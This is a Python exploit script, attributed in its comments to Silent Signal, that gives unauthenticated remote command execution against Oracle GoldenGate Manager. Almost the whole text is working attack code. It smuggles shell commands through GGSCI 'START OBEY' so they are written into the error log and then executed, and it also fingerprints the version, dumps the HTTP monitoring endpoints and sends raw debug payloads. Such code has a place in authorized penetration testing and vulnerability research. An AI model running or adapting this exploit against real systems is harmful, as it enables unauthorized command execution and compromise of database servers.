| 
	 #!/usr/bin/env python # Sources: # https://silentsignal.hu/docs/S2_Oracle_GoldenGate_GOLDENSHOWER.py # https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/ # # GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal # # Tested with: #     Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0_PLATFORMS_130924.1316 Linux, x64, 64bit (optimized) Oracle 11g #     Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0T1_PLATFORMS_140313.1216 Windows x64 (optimized) Oracle 12c # # Nmap service fingerprint example: #     ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)======== #     SF-Port7809-TCP:V=7.12%I=7%D=2/20%Time=DEADBEEF%P=x86_64-unknown-linux-gnu #     SF:%r(RPCCheck,2D,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20th #     SF:e\x20command\.\0")%r(DNSVersionBindReq,28,"\0&\x20\x20ERROR\tMGR\x20Did #     SF:\x20Not\x20Recognize\x20Command\0")%r(DNSStatusRequest,28,"\0&\x20\x20E #     SF:RROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(afp,28,"\0&\x20\x #     SF:20ERROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(kumo-server,2D #     SF:,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20the\x20command\. #     SF:\0");   import socket import struct import argparse   HOST = None PORT = None PLATFORM = None     def send_write(cmd):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((HOST, PORT))       term_ch = "#"     if PLATFORM == "win":         term_ch = "&"       cmd_ggsci = "GGSCI START OBEY x\nSHELL,%s %s " % (cmd, term_ch)     cmd_ggsci = cmd_ggsci.replace(" ", "\x09")       length = struct.pack(">H", len(cmd_ggsci))     s.send(length + cmd_ggsci)     r = s.recv(1024)     print "[+] '%s' WRITTEN \nReceived: %s\n" % (cmd, repr(r))       s.close()     def send_exec():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((HOST, PORT))     cmd = "GGSCI START OBEY ggserr.log".replace(" ", "\x09")     length = struct.pack(">H", len(cmd))     s.send(length + cmd)     r = s.recv(1024)     print "[+] EXECUTED - Received: %s\n" % (repr(r))     s.close()     def monitor():     if PLATFORM == "win":         print "[!] Windows platform detected, this may not work!"       import requests     paths = ["messages", "registry", "statuschanges", "mpoints"]     for p in paths:         r = requests.get("http://%s:%d/%s" % (HOST, PORT, p))         print "\n--- MONITOR - %s ---" % (p)         print r.text     def version():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((HOST, PORT))     #cmd = "GGSCI VERSION".replace(" ","\x09")     cmd = "GGSCI\tVERSION"     length = struct.pack(">H", len(cmd))     s.send(length + cmd)     r = s.recv(1024)     ver = r[5:].replace("\t", " ")     print "[+] VERSION: %s\n" % (ver)     s.close()     return ver     def debug(cmd, l=None):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((HOST, PORT))     length = None     if l is None:         length = struct.pack(">H", len(cmd))     else:         length = struct.pack(">H", l)     s.send(length + cmd)     print "[+] Sent: %s" % (repr(length + cmd))     r = s.recv(1024)     print "[+] Received: %s\n" % (repr(r))     s.close()     parser = argparse.ArgumentParser(     description='GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal') parser.add_argument("--host", help="Target host") parser.add_argument("--port", help="Target port", type=int, default=7809) parser.add_argument("--cmd", help="Command(s) to execute", nargs='*') parser.add_argument(     "--monitor", help="Dump information (incl. version) via HTTP monitoring functions", action="store_true") parser.add_argument("--debugcmd", help="Send raw content", required=False) parser.add_argument("--debuglen", help="Indicated size of raw content",                     type=int, default=None, required=False)   args = parser.parse_args()   HOST = args.host PORT = args.port   ver = version()   if "Windows" in ver:     PLATFORM = "win"     print "[+] Platform: Windows" else:     PLATFORM = "nix"     print "[+] Platform: *nix"   if args.cmd:     for c in args.cmd:         send_write(c)     send_exec()   if args.monitor:     monitor()   if args.debugcmd:     debug(args.debugcmd, args.debuglen)   # Signature: aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0wNHZINFdfOVJmZw== 
	
  | 
 
 
|   | 
 
  |